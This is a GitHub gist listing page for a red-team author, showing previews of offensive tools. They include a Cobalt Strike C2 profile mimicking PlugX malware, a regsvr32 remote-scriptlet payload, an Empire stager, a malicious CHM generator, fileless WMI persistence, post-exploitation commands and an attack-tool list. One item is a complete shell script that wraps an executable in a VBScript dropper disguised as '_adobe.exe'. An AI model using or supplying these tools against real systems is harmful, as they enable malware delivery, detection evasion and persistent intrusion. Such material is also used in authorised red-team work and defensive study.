Skip to content

Instantly share code, notes, and snippets.

View infosecn1nja's full-sized avatar
🇮🇩
Working from home

Rahmat Nurfauzi infosecn1nja

🇮🇩
Working from home
2.2k followers · 174 following
View GitHub Profile
@infosecn1nja
infosecn1nja / plugx.profile
Last active April 19, 2022 07:35
Cobalt Strike Malleable C2 Profile - PlugX
#
# PlugX Profile
# Author: @infosecn1nja
#
# https://github.com/silence-is-best/c2db/blob/master/README.md
set sleeptime "30000"; # use a ~30s delay between callbacks
set jitter "10"; # throw in a 10% jitter
stage {
@infosecn1nja
infosecn1nja / Backdoor-Minimalist.sct
Created August 17, 2017 01:11
Execute Remote Scripts Via regsvr32.exe - Referred to As "squiblydoo" Please use this reference...
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="JScript">
<![CDATA[
@infosecn1nja
infosecn1nja / exe2vbs.sh
Created March 10, 2018 10:01
#!/bin/bash
convert2hex=$(xxd -p $1)
result=$(echo $convert2hex | sed s'/ //g')
echo 'Function n(s,c):n=String(s,c):End Function:t=t&"'$result'":Set s=CreateObject("Scripting.FileSystemObject"):p=s.getspecialfolder(2) & "_adobe.exe":Set f=s.CreateTextFile(p,1):for i=1 to len(t) step 2:f.Write Chr(int("&H" & mid(t,i,2))):next:f.Close:WScript.CreateObject("WScript.Shell").run(p)'
@infosecn1nja
infosecn1nja / wmic_starfighters.py
Created June 7, 2018 01:01
Empire stagers module to generates a squiblytwo and starfighters launcher.
from lib.common import helpers
class Stager:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'wmic_xsl_starfighters',
'Author': ['@subTee','@mattifestation','@infosecn1nja','@Cneelis'],
@infosecn1nja
infosecn1nja / gen-chm.py
Last active May 2, 2023 17:15
This script will generate malicious Compiled HTML Help file (.CHM)
#!/usr/bin/python
import argparse
import re, random
import string, os, os.path
def rand_num(min, max):
return random.randrange(min, max)
def gen_str(size):
return "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(size))
@infosecn1nja
infosecn1nja / Agentless-Post-Exploitation.md
Created July 22, 2017 01:07
Agentless Post-Exploitation

Agentless Post-Exploitation

Reconnaissance

echo %LOGONSERVER%
net view /DOMAIN:domain

Check Administrators Rights

@infosecn1nja
infosecn1nja / Inject.cs
Created June 19, 2018 10:19
DotNetToJScript Build Walkthrough
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
public class TestClass
{
public TestClass()
{}
@infosecn1nja
infosecn1nja / gist:97b4b2e5132ae9d3d18448b3f7f7aa93
Last active November 22, 2023 18:19
Securing CS Teamserver
Make a rule that allows port 80/443 access only from redirector:
iptables -A INPUT -p tcp -s <REDIRECTOR_IP> --dport 443 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
iptables -A INPUT -p tcp -s <REDIRECTOR_IP> --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j DROP
Change default port teamserver :
sed -i 's/50050/<PORT>/g' /path/cobaltstrike/teamserver
@infosecn1nja
infosecn1nja / WMI-Persistence.ps1
Created May 14, 2018 15:12
Fileless WMI Persistence (PSEDWMIEvent_SU - SystemUptime)
# Fileless WMI Persistence (PSEDWMIEvent_SU - SystemUptime)
# https://wikileaks.org/ciav7p1/cms/page_14587908.html
<#
.SYNOPSIS
This script creates a persisted WMI event that executes a command upon trigger of the system's uptime being between a given range in seconds. The event will trigger only once.
#>
$EventFilterName = "Fileless WMI Persistence SystemUptime"
@infosecn1nja
infosecn1nja / gist:04ab2d8ea15f98880bbf7b70168fa3dd
Last active January 7, 2024 21:51
APT Group/Red Team Weaponization Phase
APT Group/Red Team Weaponization Phase
=======================================
C2 tools :
- Cobalt Strike
- Empire
- PoshC2
- PupyRAT
- Metasploit